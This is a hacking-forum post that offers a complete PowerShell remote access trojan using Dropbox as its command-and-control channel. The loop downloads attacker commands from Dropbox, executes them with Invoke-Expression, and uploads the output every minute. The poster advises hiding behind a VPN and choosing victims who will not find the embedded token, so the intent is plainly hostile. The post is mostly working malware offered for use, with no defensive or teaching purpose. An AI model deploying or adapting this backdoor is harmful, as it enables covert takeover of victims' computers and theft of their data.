ALERT!
Click here to register with a few steps and explore all our cool stuff we have to offer!
Other languages

USING DROPBOX AS A RAT C2

Submitted by threadcut at 11-05-2025, 06:25 AM


USING DROPBOX AS A RAT C2
269 Views
#1
this might not be exactly the right section for this but im putting it here anyways :)
so... yeah using dropbox as a rat/c2, downloads commands.txt from your dropbox, executes them, and returns output.

[ Hidden Content! ]


PLEASE READ: MAKE SURE TO CREATE A NEW DROPBOX ACCOUNT WITH A VPN/PROXY WHILE DOING THIS. AND, KNOW HOW TO TARGET, IF VICTIM IS A BIT SAVY HE WILL PROBABLY BE ABLE TO FIND YOUR DROPBOX TOKEN AND GET IN YOUR ACCOUNT
Code:
# Define Dropbox access token (replace with your own)
$accessToken = "your_dropbox_access_token"

# Define the paths to the command and output files in Dropbox
$commandsPath = "/reverse_shell/commands.txt"
$outputPath = "/reverse_shell/output.txt"

while ($true) {
    try {
        # Step 1: Download commands.txt from Dropbox
        $headers = @{
            "Authorization" = "Bearer $accessToken"
            "Dropbox-API-Arg" = (ConvertTo-Json @{ "path" = $commandsPath })
        }
        $response = Invoke-WebRequest -Uri "https://content.dropboxapi.com/2/files/download" -Method Post -Headers $headers
        $commands = $response.Content

        if ($commands -ne "") {
            # Step 2: Execute the command and capture output
            $output = Invoke-Expression $commands 2>&1

            # Step 3: Upload output to output.txt in Dropbox
            $uploadHeaders = @{
                "Authorization" = "Bearer $accessToken"
                "Dropbox-API-Arg" = (ConvertTo-Json @{ "path" = $outputPath; "mode" = "overwrite" })
                "Content-Type" = "application/octet-stream"
            }
            $uploadBody = [System.Text.Encoding]::UTF8.GetBytes($output)
            Invoke-WebRequest -Uri "https://content.dropboxapi.com/2/files/upload" -Method Post -Headers $uploadHeaders -Body $uploadBody
        }
    } catch {
        # Handle errors, e.g., file not found or network issues
        Write-Host "Error: $_"
    }

    # Step 4: Sleep for 60 seconds before checking again
    Start-Sleep -Seconds 60
}

Do leave a like if you liked this :)


0
Reply


Messages In This Thread
USING DROPBOX AS A RAT C2 - by threadcut - 11-05-2025, 06:25 AM
RE: USING DROPBOX AS A RAT C2 - by dayh - 11-05-2025, 06:28 PM
RE: USING DROPBOX AS A RAT C2 - by ToiletPaper - 11-05-2025, 08:29 PM
RE: USING DROPBOX AS A RAT C2 - by nabilbdn - 14-05-2025, 09:28 PM


Users browsing this thread: 1 Guest(s)